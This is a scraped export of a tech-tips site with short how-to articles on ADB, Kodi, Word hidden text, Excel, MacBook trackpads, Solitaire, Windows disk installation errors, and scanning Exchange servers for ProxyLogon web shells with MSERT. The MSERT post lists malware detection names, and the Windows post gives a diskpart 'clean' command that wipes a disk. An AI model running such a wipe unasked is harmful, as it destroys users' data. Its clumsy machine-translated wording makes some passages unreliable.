smartphone.\nadb devices  7. Now on the device, you will see the ' Allow USB debugging ' prompt. Please allow connection.\n  Now, you have successfully installed ADB on the Linux desktop.\nWith this tutorial, readers can easily install and set up ADB on Windows, MAC and Linux. You can also check out some other tutorials here to install ADB and fastboot.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnAnZlmZZGjsW55xZqqrZqfpMFuu81mrqKmlKTEtHnMmppmpJmjwrl50qKkqaSp\n","link":"/post/how-to-install-and-use-adb-fastboot-on-windows-mac-linux-simply/","section":"post","tags":null,"title":"How to install and use ADB \u0026amp; Fastboot on Windows, Mac, Linux simply"},{"body":" This wikiHow teaches you how to install Kodi, the free entertainment center app, on your Windows PC. You can install the latest version of the app from the Windows Store or by downloading an installer directly from Kodi. Go to...\nMethod 2of 2:\nInstalling from the Installer  Go to http://kodi.tv/download/ in a web browser. This will bring you to the Kodi for Windows download page. Use this method if you don't want Kodi to automatically install the latest updates through the Windows Store.   Scroll down and click Windows. It's under the 'Choose your weapon' header. A pop-up will appear.\n  Click INSTALLER 32BIT. This downloads the latest version of the Kodi installer to your computer. You may have to click Save or Download to begin the download.   Double-click the Kodi installer. Once the file is downloaded, it'll usually be in your Downloads folder (look for the file that contains the word 'kodi' and ends with '.exe.').\n  Click Yes to allow the installer to run. If you aren't prompted to do this, just skip to the next step.\n  Click Next on the Kodi Setup window.\n  Read the license agreement and click I Agree. This confirms that you agree with all of Kodi's terms.\n  Choose an installation type and click Next. To install the full version of Kodi (recommended), leave 'Full' selected in the drop-down menu. If you know you don't need an element of Kodi that appears in the list, remove the check mark from that element.\n  Click Next.\n  Select a destination folder and click Next. To make it easy to upgrade Kodi in the future, leave the default destination alone. To install Kodi elsewhere, select that location now.\n  Click Install. The progress bar will reach the end once the installation is complete, and you'll see a message that says 'Completing Kodi Setup.'\n  Click Finish. This closes the installer.\n  Open Kodi. You'll find it in the Start menu in a folder called 'Kodi.'\n  Select your firewall preferences. If you see a pop-up that says 'Windows Defender Firewall has blocked some features of this app,' choose one or both of these options: Check 'Private networks' to ensure you can use Kodi on your own local network. If you also want to use Kodi on a public WiFi connection (such as in a cafe), check 'Public networks' as well.   Click Allow access. Now that Kodi is running, you can start watching shows from your favorite sources, check out what's on live TV, and install add-ons that expand your viewing options. If you want to upgrade Kodi to the latest version in the future, see this wikiHow.   Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmoqicmWK8r3nWoqWdp6eo\n","link":"/post/how-to-install-kodi-on-windows/","section":"post","tags":null,"title":"How to Install Kodi on Windows"},{"body":"Microsoft Word lets you hide paragraphs of text, so you can read or print your documents as if the text is not there. This may seem meaningless. Why not delete the text, if you don't want someone to read it? That's because hidden text has some interesting uses. See what hidden text is, why you want to hide a piece of text and how to do it.\nHow to use Hidden Text in a Word document What is hidden text? Why do you want to hide a piece of text? How do you hide text? How do you hide objects like images? How do you unhide a piece of text? Can you delete all hidden documents at the same time? Does this work with shared documents? What is hidden text?   Word hides text by using formatting markers, like how you format text in bold or italic format. Instead of deleting text, Word applies a formatting label that means \"does not display this text\".\nBecause hidden text is just a standard piece of text with formatting labels applied, anyone with editing rights can search for hidden text and display the text. Therefore, it is not a security measure, and you should never rely on hidden text to prevent someone from viewing a part of your document. If you don't want someone to read the content you've written, completely delete the text or don't send the document to them.\nWhy do you want to hide a piece of text? The hidden text has its own use. If you want to print a document without some visible text, you can do it with hidden text (although make sure you don't have the option to print hidden text). A great use of hidden text is if you have documents you want to print and distribute to the audience, while keeping a different version of the document containing your own notes.\nYou may also want different people to review each section of the document and hide text that gives you a simple way to show only the parts you need a reviewer (as long as you don't mind them looking see hidden text, if they find them).\nYou can also hide images and other embedded objects in documents, which can cut printing time and costs and make your documents easier to read, if you only want plain text drugs.\nNote : You can only do this in the Word application on your computer. Word Online and Word for Android and iPhone applications do not yet allow you to hide paragraphs of text.\nHow do you hide text? Hiding a piece of text is very simple. Select the text you want to hide, switch to the \"Home\" tab on the Ribbon and then click the arrow at the bottom right of the \"Font\" section.\n  \nThe Font window will open. Activate the 'Hidden' option and then click the 'OK' button .\n  \nThat's all you need to do. The text you selected is no longer displayed, as if you deleted it from the document. If you see the above actions a bit lengthy, there are shortcuts to help you quickly hide the text, by selecting the text to hide and press Ctrl + Shift + H.\nHow do you hide objects like images? You hide these objects the same way you hide text, ie by selecting them and ticking the \"Hidden\" field in the Font section (or use Ctrl + Shift + H ). This method only works if the object you want to hide uses the default text wrapping option ' In line with text ', which is when Word handles an object like another piece of text. If your object has a different text package option, but you still want to hide it, you'll have to hide the entire text that the object is set to. This step hides other objects in the paragraph.\nHow do you unhide a piece of text? To unhide a paragraph, reverse the process. Select it and press Ctrl + Shift + H or uncheck the \"Hidden\" field in the Font section .\nHowever, how do you choose hidden text, if you can't see it? Because hidden text is just plain text with formatting labels applied, you need to display all formatting labels. This allows you to see your hidden text.\nTo display all formatting labels, press Home\u0026gt; Show / Hide . You can also press Ctrl + Shift + 8 if you want. This shows that all characters are not printed in your document, things like paragraphs, spaces and tab characters.\n  Hidden text has a dotted line below, to distinguish it from regular text.\n  Select hidden text and use Ctrl + Shift + H or set Font\u0026gt; Hidden to display the text.\nIf you have many hidden text that you want to hide or you don't want to search for hidden text in the entire document, no problem. Select all documents in the document by pressing Ctrl + A and then use one of two similar methods ( Ctrl + Shift + H or Font\u0026gt; Hidden ) to show all hidden text in the entire document (foreign except for the header or footer, which you will have to unhide in a separate way).\nClick Home\u0026gt; Show / Hide or press Ctrl + Shift + 8 again to hide formatting marks.\nAs mentioned at the beginning of this article, you can only hide or unhide text in the Word client application and cannot apply in Word Online. The same thing happens when displaying formatting labels that you can perform in the Word application on the computer.\nCan you delete all hidden documents at the same time? Yes, and before, you have been taught how to do this using Find and Replace . You can use that method to select the hidden text to delete, but if you just want to make sure that all hidden text is deleted, go to File\u0026gt; Check For Issues\u0026gt; Inspect Document .\n  The option you are looking for is at the bottom and is called 'Hidden Text'. Make sure all other options are turned off (unless you want to use them all at once) and click the 'Inspect' button .\n  \nIf the Document Inspector finds any hidden text, it will show you the \"Remove All\" button . Click here to delete all hidden text in the document.\n  You cannot undo this action, so make sure you really want to delete all hidden text or you have saved a copy of the document somewhere else.\nDoes this work with shared documents? If you use OneDrive or SharePoint, you can share your documents with others. Hidden text is still hidden, when the people you shared it with in Word Online because Word Online does not allow you to hide or unhide text or display formatting labels. They can still download a copy and view it in the Word application. When doing that, they can click Home\u0026gt; Show / Hide and see the hidden text. So again, don't share documents with hidden text unless you accept that others can see what you've hidden.\nSee more:\nHow to change commas into dots on Word How to reduce Word file size How much time do you spend working with a word file? This is the test ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqptcOdnKdlpJrFtXnIp2SaZaekv6V5w6iarqWVo8E%3D\n","link":"/post/how-to-use-hidden-text-in-a-word-document/","section":"post","tags":null,"title":"How to use Hidden Text in a Word document"},{"body":"Forefront Threat Management Gateway 2010 allows company employees to use the Internet safely and efficiently without worrying about malware and other threats. In this article we will show you how to install and use Forefront TMG Best Practice Analyzer (TMGBPA).\nIntroduce\nIn this article we will show you how to install and use Forefront TMG Best Practice Analyzer (TMGBPA). You can use TMGBPA to analyze security vulnerabilities, performance issues, and configuration errors for the Forefront TMG environment. The Best Practices Analyzer (BPA) is designed for administrators who want to analyze the health situation for all Forefront TMG computers as well as diagnose current problems.\nBegin\nTMGBPA scans the configuration settings of the internal Forefront TMG computer and reports issues that are not in line with the recommended best practices. TMG BPA uses a number of other techniques to get information about TMG computers. It uses COM objects to find information, Windows Management Instrumentation (WMI) classes, system registry, files on disk and Domain Name System (DNS) settings, from which to select all the necessary information. set up for Forefront TMG machine.\nThe report will list in detail the configuration issues, potential problems and information about the internal computer. TMG uses external website links and Microsoft's internal integration help (chm file) to get additional information on how to solve the problems found in your TMG configuration.\nTMG BPA goes with two tools:\nTMG Data Packager BPA2Visio TMG Data Packager\nThe TMG Data Packager creates a .cab file that contains Forefront TMG diagnostic information, which is sent to Microsoft Product Support Services for analysis.\nBPA2Visio\nBPA2Visio creates a Microsoft Office Visio diagram for network topology. Visio 2003, 2007 or 2010 must be installed in order to be able to run BPA2Visio, in addition it should not use BPA2Visio on the Forefront TMG machine due to the installation of Visio on the Firewall. The best way is to install Forefront TMG BPA on a computer with Visio installed. It is possible to use saved TMG BPA to scan results for BPA2Visio.\nSystem requirements\nThe system requirements for running TMG BPA are quite moderate:\nSupported Operating Systems:\nSupported operating systems:\nWindows Server 2008\nWindows Server 2008 R2 Windows Vista Windows 7 Microsoft .NET Framework 2.0 or higher\nTMG\nForefront TMG Medium Business Edition (MBE)\nForefront TMG 2010\nBPA2Visio\nBPA2Visio: Microsoft Office Visio 2003; Microsoft Office Visio 2007; Microsoft Office Visio 2010\nInstall TMGBPA\nFirst we need to download Forefront TMG Best Practice Analyzer (TMGBPA) here. After downloading, you can install the TMGBPA tool according to the instructions in the installation wizard.\n Figure 1: Installing Forefront TMG Best Practice Analyzer Read, understand and approve the License Agreement.\n Figure 2: Forefront TMG Best Practice Analyzer automatic upgrade option If you want to participate in CEIP - Customer Experience Improvement Plan, click the appropriate option. However, you can change this setting later.\n Figure 3: Forefront TMG Best Practice Analyzer Tool - CEIP Click to Install to begin the TMG BPA installation process. The installation process will take some time, depending on the speed and load of the TMG computer. After the TMG BPA installation finishes, launch the Forefront TMG Best Practice Analyzer tool.\n Figure 4: Installation Forefront TMG The Best Practice Analyzer Tool has ended When launching the program, TMG BPA will check the current version on the Internet.\n Figure 5: TMG BPA is checking updates Create the first scan action\nAfter checking the TMG BPA updates, it's time to create a scan. Choose options for a new scan process.\n Figure 6: Options to perform a scan Start a scan action and select the scan option. Enter labels and styles to distinguish later scan jobs.\n Figure 7: Enter label and scan type. The process will take some time to scan, the program will estimate the remaining time for the scan to be completed.\n Figure 8: TMG BPA starts scanning the TMG configuration You need to wait a bit .\n Figure 9: TMG BPA is in the scanning process The scan is complete. Click view a report of the Best Practices Scan .\n Figure 10: TMG BPA completes the scan You need to wait a bit so that all issues are displayed. These issues will be classified by degree.\n Figure 11: Results after scanning If you want more information about found issues, click it to find more information on how to solve the problem. Forefront TMG BPA uses an accompanying help file to help you solve the problem.\n Figure 12: TMG BPA - Search for additional information It is possible to schedule a scan action if you want to create TMG health reports after a specific time. Scheduling TMG BPA reports is always useful if you often change the Forefront TMG configuration.\n Figure 13: Scan schedule You can see the help file without the TMG BPA tool executable. This help file (.CHM file) can be found in the installation directory of Forefront TMG BPA. TMG BPA help is useful for finding additional information about all Forefront TMG issues.\n Figure 14: TMG BPA integrated help You can configure the Forefront TMG BPA upgrade check action as well as Microsoft customer experience improvement program settings.\n Figure 15: Upgrade configuration and Feedback TMG BPA has the option to open saved BPA reports for later viewing. Click Import scan to open a saved report.\n Figure 16: Importing reports during TMG BPA scanning To determine the version of the TMG BPA, click About the Forefront TMG Best Practice Analyzer. The version used in this article is 2.5.7970.100.\n Figure 17: Version information Conclude\nIn this article we have an overview of the Microsoft Forefront TMG Best Practice Analyzer tool. It can be said that TMGBPA is a quite useful tool for administrators and TMG advisors in analyzing their TMG Server computers to find potential problems. TMG BPA also has many capabilities in creating and\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrOwvsSfqaimpGLBrrOMm5ysrF2lv6Kv06KanmWRo66txdmeqQ%3D%3D\n","link":"/post/microsoft-forefront-tmg-best-practice-analyzer/","section":"post","tags":null,"title":"Microsoft Forefront TMG - Best Practice Analyzer"},{"body":"Don't think plants are inanimate, they have intelligence. Scientists have discovered that vegetables and plants sense when they are eaten by enemies and of course they do not like this.\nThe most exotic plants on Earth 7 species of plants have special abilities like humans This is the result of a study by scientists at the University of Missouri since 2015. Accordingly, experts discovered that plants can sense when they are being eaten and thus provide a mechanism. Self-defense, to prevent that from happening.\n  The team carried out experiments on a family of plants with the scientific name Arabidopsis - including cruciferous plants such as broccoli, kale, broccoli . They were the first plants to be decoded. The gene should be used in many different scientific experiments.\nTo get an answer to the question, 'Do plants know when they are eaten? 'Experts have fed a worm to Arabidopsis leaves, then recorded exactly the vibrations they created. During the experiment, they controlled other natural interfering agents such as the wind, the sound of flowing water .\nThe results showed that the experimental plants produced a number of essential oils with the same flavor as mustard oil (mustard oil) used as a mild substance much more than normal. This oil is secreted by plants and transported throughout the body to ward off enemies. In addition, the researchers found that deep-rooted plants also differentiated vibrations from \"chewing\" with other natural vibrations.\n  Heidi Appel, a scientist at the Department of Plant Science at the University of Missouri, said previous studies have shown that plants can react to sound energy, including music.\nResearch by scientists at the University of Missouri has found the first evidence that plants can sense threatening vibrations. Vibrations emitted by the enemy's enemies can activate plant defense mechanisms, causing them to produce chemicals to defend themselves.\nThis also explains why the leaves are often chewed by worms, not fully eaten. Simply because trees 'turn on the switch' to defend and chase them away.\nncG1vNJzZmismaXArq3KnmWcp51kva2tza2qZp6VmrluvMCipWavmJq7bsDHnrBmmaKaeqat056lZpmemXqprdWeZJpllJqzprrSnmSmnZOdrq%2B10qZkmp%2BRnru0wIyiqw%3D%3D\n","link":"/post/plants-feel-pain-when-they-are-eaten-and-have-a-defense-mechanism-against-it/","section":"post","tags":null,"title":"Plants feel pain when they are eaten and have a defense mechanism against it"},{"body":"If you often have to calculate the data on Excel, calculating the average result will inevitably be the case that the result is a decimal number with odd numbers after a comma, or a period. Leaving multiple numbers after the comma will make the data sheet difficult to see, difficult to calculate and not professional. Therefore, rounding up in Excel is necessary to make the table more clear.\nIf you don't know how to use the Round function in Excel or haven't used the Round function yet, follow the following article of Network Administration.\nThese are the most basic functions in Excel that you need to understand How to use ConcateNate function on Excel How to use AVERAGEIF function in Excel Instructions for using Round function in Excel Round function in Excel has syntax = ROUND (number, n) .\nInside:\nNumber is the number to be rounded. N is an argument that can be negative or positive. With argument N we will have a number of different cases.\nIf N = 0 then we will round to the nearest integer. For example rounding numbers ROUND (9.23.0) = 9 If N\u0026gt; 0, the number will be rounded to the specified decimal place. Such ROUND (21.25464.5) = 21.25. If N = 1 takes 1 odd number, n = 2 takes 2 odd numbers, . If N For example: ROUND (23.23434, -1) = 20. If N = -1, rounded up to tens, N = -2 rounded to hundred and N = -3 to thousands . We will do so with the score table below. Let's round numbers to 2 decimal places.\n  In the box to enter the rounded score results, we enter the formula = ROUND (C2,2) and press Enter.\nIn which C2 column is the average of students. 2 is to take only 2 numbers to the right of the decimal point, rounded up to 2 numbers after the comma. In case N\nImmediately the result will give the score rounded to the second number after the decimal point. Scroll down to enter the score for students.\n  With the Round function in Excel, users will be easy to round the data, more neatly the spreadsheet instead of leaving multiple numbers behind the decimal. When rounding, viewers will easily follow the Excel data sheet, which you can also calculate more quickly.\nSee more:\nHow to combine 2 columns Full name in Excel does not lose content How to use SUMPRODUCT function in Excel How to combine Sumif and Vlookup functions in Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kv7DBzZ1kn62emMGqu81mn6ivXam8bsHSnmSrp6WjsaawjJ%2Bsp5uknryvv4yipWadqJiyrQ%3D%3D\n","link":"/post/round-function-how-to-use-rounded-functions-in-excel/","section":"post","tags":null,"title":"Round function, how to use rounded functions in Excel"},{"body":"iOS 15 supports a lot of different devices, including the iPhone SE and iPhone SE 2 duo. Although only a generation apart, the fact that the iPhone SE 2 was released 4 years after the original iPhone SE. Therefore, their configurations are very different, so the ability to upgrade to iOS 15 cannot be equivalent.\nWe invite you to join TipsMake.com to analyze whether iPhone SE and iPhone SE 2 should be upgraded to iOS 15:\niPhone SE The first iPhone SE model was released by Apple in 2016, so it has been 5 years old so far. This beautiful iPhone model uses the A9 chip of the iPhone 6s and has a screen of only 4 inches.\nPerformance limitations and screen size will prevent the iPhone SE from providing the best experience on iOS 15. Of course, this iPhone model will also not receive the attractive new features of iOS 15 like LiveText. .\n  According to a review by TipsMake.com, if you are using the first iPhone SE, you should not update to iOS 15. The reason is because what you get is quite limited while potentially many risks such as battery life is not guaranteed, the experience is not smooth, the machine is hot.\niPhone SE 2 The new iPhone SE 2 model launches in 2020 and uses the same A13 chip as the iPhone 11 series. This helps it get almost all the new features of iOS 15 except for high-speed 5G connectivity.\nThis means you will enjoy FaceTime with many notable improvements such as 360-degree audio simulation, audio simulation based on the speaker's position on the screen, background blur, noise filtering, mute. background bar, SharePlay.\n  iPhone SE 2 will also have LiveText, a feature that allows text to be converted to text, and you can copy the text in the image to paste it into the editor, take notes or translate it into another language. Updated Photos app with some new features also supports iPhone SE 2.\nThere are also many other improvements such as better performance, slightly more optimized battery life.\nOverall, according to TipsMake.com, upgrading iPhone SE 2 to iOS 15 is nothing to think about. Trust us, what you get will be amazing.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqGgnbyvsYysnGZpXZ69qbvNnmSsnV1neqi7jK2mZqGfqHpygQ%3D%3D\n","link":"/post/should-iphone-se-1-iphone-se-2-go-to-ios-15/","section":"post","tags":null,"title":"Should iPhone SE 1, iPhone SE 2 go to iOS 15?"},{"body":"Earlier on March 2, Microsoft publicly disclosed that up to four Exchange Server zero-day vulnerabilities were being abused in a large-scale attack against Outlook servers on the web (Outlook on the web. - OWA) was revealed. These four vulnerabilities are currently being tracked with identifiers CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, respectively.\nKnown as 'ProxyLogon', these flaws are being thoroughly exploited by Chinese-sponsored hacker groups to steal email messages, collect login credentials, and deploy web shells for access. access to a wide range of targeted intranet systems.\nIn making this offensive campaign public announcement, Microsoft also released updated signatures for Microsoft Defender to add the ability to detect unauthorized installed web shells by abusing zero vulnerabilities. -day above.\nThese web shells are detected by Microsoft Defender with the following specific information:\nExploit: Script / Exmann.A! Dha Behavior: Win32 / Exmann.A Backdoor: ASP / SecChecker.A Backdoor: JS / Webshell Trojan: JS / Chopper! Dha Behavior: Win32 / DumpLsass.A! Attk Backdoor: HTML / TwoFaceVar.B For organizations that don't use Microsoft Defender, the Redmond company has added update signatures to their Microsoft Safety Scanner stand-alone tool to add the ability to find and remove web shells used in hacking campaigns. this work.\nMicrosoft Safety Scanner helps to remove web shell Microsoft Safety Scanner, also known as Microsoft Emergency Response Assistant (MSERT), is a portable standalone anti-software tool that includes a Microsoft Defender signature to scan and remove detected malware .\nMSERT can be considered as an on-demand scanner and will not provide any real-time protection. Therefore, this tool should only be used for spot scanning and should not be considered as a standalone antivirus program.\nFurthermore, MSERT will also automatically delete any detected files and not quarantine them if you don't start the program with the / N argument, as in msert.exe / N. To scan web shells and not delete them, you can also use the PowerShell script described at the end of the article.\nThe Microsoft Safety Scanner can be downloaded as a 32-bit or 64-bit executable and used to perform on-site scans when needed.\nAfter launching the program, agree to the license agreements and you will be taken to a screen to choose a scan type.\nMicrosoft generally recommends that users choose the 'Full scan' option to scan the entire server.\n  Depending on the size of your installation, the full scan might take quite a while. Therefore, you can perform a 'Customized scan' of each important folder, such as:\n% IIS installation path% aspnet_client * % IIS installation path% aspnet_clientsystem_web * % Exchange Server installation path% FrontEndHttpProxyowaauth * Configured temporary ASP.NET files path % Exchange Server Installation% FrontEndHttpProxyecpauth * After the scan is finished, MSERT will report which files have been deleted and their specific names.\n  For more detailed information on which files have been deleted, you can refer to the file% SYSTEMROOT% debugmsert.log, as shown below.\n  Once you're done using MSERT, you can uninstall the tool by deleting the executable msert.exe.\nPowerShell scripts support finding web shells If you want to scan web shells without deleting them, you can use a new PowerShell script called detector_webshells.ps1 created by Latvian CERT.\nThis script will display files containing specific strings used by web shell, but not Microsoft Exchange, in ProxyLogon attacks. The advantage of detector_webshells.ps is that it will not delete the file and facilitate further analysis later.\n  You can find more information on how to use this script in the CERT-LV project's GitHub repository.\nIn addition, Microsoft has just released a PowerShell script called Test-ProxyLogon.ps1, which can be used to look for intrusion index (IOC) related to ProxyLogon attacks in log files. Exchange and OWA.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKagnKqfqLynwIymqp6qpGLBsLvLZpqapl2btq%2BwjLCcm2WjnbKtuNJmqZ6kkamypXnTqGStoJVisrmvx5qloJ1dqLKzwsSrZJqspJawrHnCmqSpmZmcuw%3D%3D\n","link":"/post/the-microsoft-msert-tool-can-find-web-shells-related-to-the-exchange-server-attack-campaign/","section":"post","tags":null,"title":"The Microsoft MSERT tool can find web shells related to the Exchange Server attack campaign"},{"body":"This is because disassembling a Macbook is often more complicated, and when the device has problems, we tend to bring it to a repair center. However, in reality, there are many problems on the MacBook that you can completely fix on your own. Take a simple example with the trackpad (touchpad). This is quite an important part and is used relatively often on a laptop. In this article, we'll take a look at some of the common reasons why your MacBook trackpad might fail, as well as the basic fixes you need to know about.\nDust on the trackpad surface This is a relatively common cause of your trackpad crashing. Many people have a habit of using the mouse instead of the trackpad. This along with 'lazy' cleaning the device can cause thick dirt to stick on the surface of the touchpad, which in turn leads to discomfort during use.\nFor example, the trackpad surface is too dirty, resulting in an unstable signal when you move your hand, causing the cursor to blink or jump on the screen. Additionally, you can see virtual boxes and random gestures activated.\nTo clean the trackpad, Apple recommends:\nUse cloths impregnated with Lysol or Clorox solution. Use a dry wiper combination. Follow the three-time rule: One wipe with a dry cloth, once with a damp cloth of the bleach solution, and again wipe with a dry cloth. Note that the cloth should be made from a lint-free fabric. The MacBook is damaged due to an impact from the hardware There are many methods for you to fix a software faulty trackpad. However, if you have tried these methods without success, and Apple's own advice is not working, then most likely the story lies in the hardware.\nThe trackpad part of the MacBook has a much larger area than most Windows laptops, so the probability of being damaged by physical impact from the outside is also greater. Excessive impact can lead to trackpad being skewed, disconnected . In this case you should do some preliminary check to see if the trackpad is still working.\nAdmittedly this is an experimental solution to a fairly rare problem, but worth a try. Just press your palm against the center of the touchpad for a few seconds to recalibrate. Alternatively, you can press two of the four corners of the trackpad at the same time.\nIf the problem is not fixed, you should probably bring the device to a repair center for the technician to perform an in-depth examination.\nDefective MacBook battery. This may sound irrelevant, but in reality it makes a lot of sense. We all make thin, compact, and light design a big hit on the MacBook. But in return, Apple must also make extreme use of all the space in the chassis to 'cram components.\nIn a MacBook, the battery is just below the trackpad. So if the battery starts to go into the 'aging' stage, it can expand, swell due to the fluid inside, and affect other components. In which the trackpad was the first victim due to being \"close to the wall\".\nTo quickly see if your battery is at fault (on the software side) you can open System Preferences and navigate to the 'Battery -\u0026gt; Battery Health' section.\n  The system will let you know if the battery needs to be replaced. Alternatively, you can also check this in the battery indicator found in the toolbar:\n  In the event of a battery failure, replacement should be performed immediately. It not only affects the trackpad, but can also damage all other hardware components inside the chassis.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKucmqufo3q4tNhmq6GdXam%2Foq%2FKqZidZZ%2BjeqJ5zJqam6efoHqkrc1mmZ5llpbCrcDY\n","link":"/post/the-reason-why-the-trackpad-on-a-macbook-can-be-faulty/","section":"post","tags":null,"title":"The reason why the trackpad on a MacBook can be faulty"},{"body":"For the past 20 years, there is a game that attracts more office workers than any other game, although its content is not violent or sexually explicit. It is a Windows Solitaire card game.\nWith the proliferation of shooters, farm games, online role-playing games, games that have appeared for decades will be easily forgotten. However, the number of Solitaire users is still up to hundreds of millions.\n  Famous game Windows Solitaire.\nAccording to Gizmodo technology blog, thanks to the built-in computer, some games like mine detection Minesweeper, Tetris puzzle . are not difficult to entice a few tens of millions of people, but only Solitaire is favored by Microsoft \" The world's most-used Windows application \" in 2004. With a large number of users of Word, Excel, Outlook Express and Internet Explorer every day, this is actually Solitaire's admirable title. Many experts say that, before the farm game on Facebook rises, Microsoft's game is the biggest threat to productivity at workplaces. But another study by the University of Utrecht (Netherlands) in 2003 found that those who were allowed to play Solitaire during the hours were more efficient and more interested in work than those banned. This game is like a cup of coffee at recess to help employees relax.\n    Some versions of Solitaire like Spider Solitaire or FreeCell.\nMicrosoft has a reason to put Solitaire into Windows: making people comfortable using computers and operating systems. This cause is no longer important, but back in 1990, Windows was a relatively new concept for many people, moving the mouse was quite difficult and personal computers were still strange to those who were chiefs. finished in the environment of pencils and typewriters. Solitaire's simplicity and familiarity make it easy for users to use the mouse to point and click.\nAlthough the most famous game in the world, few people know the names of those who made it. They are almost not rewarded or honored because they are Microsoft employees and code, design . are considered their daily work.\n  Klondike designed by Susan Kare.\nThe first version of Solitaire was introduced in Windows 1990 as Klondike, designed by Susan Kare and the person who wrote the game code is Wes Cherry. As soon as he was developing, Cherry predicted the possibility that the game would be much loved by office staff, so he inserted the \"boss key\" code in the game so that when the button was pressed, the deck would disappear and the display would be few. code .C (pretending to be working). However, Microsoft asked him to remove this feature in the version that was included in Windows 3.0.\nWindows Solitaire is regularly updated with new graphics and game rules according to the operating system. For example, the version on Windows 7 and Vista allows the player to save (save) a game that is playing badly.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyrqKqpYrynedOhnGavn6e5pb%2BMpqasrF2lvLHBy5qpZpufor22wMSrZKCZnZo%3D\n","link":"/post/the-story-of-the-world-s-most-popular-computer-game/","section":"post","tags":null,"title":"The story of the world's most popular computer game"},{"body":"When installing Windows operating system (whether it is new installation, reinstallation or dual booting), you may receive many types of 'Windows cannot be installed to this disk' errors. Today's article will introduce 6 types of Windows installation errors as well as the top corresponding solutions.\nSolution to fix \"Windows Cannot Be Installed to a Disk\" Error 1: Windows Cannot Be Installed to This Disk. The Selected Disk là của GPT Partition Style. Reason Solutions  Error 2: Windows Cannot Be Installed to đĩa này. The Selected Disk Has an MBR Partition Table. Error 3: Windows Cannot Be Installed on Dynamic Disk. Reason Solutions  Error 4: Windows Cannot Be Installed to This Disk. Máy chủ của Phần mềm May không hỗ trợ Bẩy này Reason Solutions  Error 5: Windows Cannot Be Installed to This Disk. The Disk May Fail Soon. Reason Solutions  Error 6: Windows Cannot Be Installed To This Hard Disk Space, Windows Must Be Installed vào một định dạng Partition trong NTFS. Reason Solutions  Error 1: Windows Cannot Be Installed to This Disk. The Selected Disk là của GPT Partition Style. When installing Windows on a GPT drive, you may receive a message stating that Windows cannot be installed on the GPT drive:\n\"Windows không thể được cài đặt vào đĩa này. Tập tin được chọn là của kiểu phân vùng GPT.\"\nWhat causes this error?\nReason This is mainly because the motherboard only supports Legacy BIOS instead of booting both Legacy and UEFI or CSM. In the old BIOS mode, you can only install Windows into the MBR drive because the traditional BIOS cannot recognize the GPT partition, but the read / write data on the GPT drive is always available as long as Windows supports it.\nSolutions To fix this, you first need to enter the BIOS Setup to see what boot mode is set. Start / restart the computer and repeatedly press a key to enter the BIOS before the Windows logo appears. Different computers may require different keys, so it is better to search for the keyword \"how to enter BIOS + computer brand name or motherboard name\" on the Internet to find the correct key.\nInstructions for entering BIOS on different computers In the BIOS, if you see no signal that you are using the UEFI motherboard as shown below, you may be using a traditional motherboard that supports only the old BIOS boot. In this situation, the only solution is to convert the GPT drive into an MBR drive.\n  The following are specific situations:\n1. Convert GPT drive to MBR, if motherboard only supports old BIOS\nNOTE:\nThe article explains three ways to convert GPT drives to MBR drives. The second and the third way will cause data loss because Windows requires deleting all partitions.\nUse Partition Wizard MiniTool Partition Wizard (free version) is an excellent free partitioning tool for non-server Windows users, converting GPT drives to MBR drives without losing data, when the operating system Existing Windows is still available. However, you should know that the Partition Wizard can only change a non-system GPT disk to an MBR drive without losing data.\nDownload the MiniTool Partition Wizard for Windows XP / Vista / 7/8/10.\nTip: If you can't use Windows, you may need the help of MiniTool Partition Wizard Bootable CD, an integrated tool that comes with all MiniTool Partition Wizard versions (Paid version).\nStep 1 : Launch MiniTool Partition Wizard. Then right-click on the destination drive to convert and select \" Convert GPT Disk to MBR Disk \".\n  Step 2 : You will see the GPT attribute converted to MBR. However, these are just pending operations to preview. Please click \"Apply\" to confirm the change. After conversion, you will see that all data is still there.\n  Use Diskpart Diskpart can perform the conversion during the installation process. Follow these steps:\nStep 1 : When the error appears, click \"OK\" to close the error and try pressing \" Shift + F10 \" to open CMD. If the utility does not appear, please return to the Windows installation interface:\n  Step 2 : Then press \" Shift + F10 \" again to launch CMD. Next wipe the drive by typing the following commands:\n\" diskpart -\u0026gt; list disk -\u0026gt; select disk 1 (1 denotes the number of GPT drives) -\u0026gt; clean -\u0026gt; convert MBR \"\n  Step 3 : When Diskpart shows that it has successfully converted the selected drive to MBR format, you can exit this program and continue installing Windows.\nUse the Disk Management utility If another Windows operating system is available on the same computer, the Disk Management utility will be useful. Try the following:\nStep 1 : Start active Windows and open the built-in Disk Management tool by right-clicking on the \"Computer\" icon on the screen, selecting \"Manage\" and selecting \"Disk Management\":\nStep 2 : Delete all partitions on the GPT drive (one by one) by right-clicking and selecting \" Delete Volume \".\n  Step 3 : When the entire drive becomes unallocated space, right-click on the GPT drive and select \" Convert to MBR Disk \". After these steps, the original GPT drive will be converted into an MBR drive, and then you can continue to install Windows on this drive.\n  Tip : When deleting a drive, you may encounter a situation where some special drives such as system drives, recovery drives, and OEM drives cannot be erased. To do this, you need to apply some special methods.\n2. Change boot mode, if the motherboard supports both Legacy and UEFI\nCurrently, most motherboards support both Legacy startup and UEFI boot, and users can choose one of the most suitable ways by manual method. If you only select Legacy, it will not be able to install Windows on the GPT drive. At this point, you can enter BIOS and set boot mode to boot CSM or choose Both:\n    When the change has been made, please press F10 to save the changes and then you can install Windows on the GPT drive.\nError 2: Windows Cannot Be Installed to đĩa này. The Selected Disk Has an MBR Partition Table. Please refer to the article: How to fix \"The disk selection has an MBR partition table\" when installing Windows\nError 3: Windows Cannot Be Installed on Dynamic Disk. When installing Windows on a dynamic disk, you can get this message:\n\"Windows không thể được cài đặt vào đĩa cứng này. Phân vùng chứa một hoặc thêm các động động động mà không được hỗ trợ cho cài đặt\".\nReason Why can't Windows be installed on dynamic disk? See what Microsoft says about this issue:\n\"You can perform a new Windows installation on a dynamic disk drive only when the drive is converted from a basic drive and retain an entry in the partition 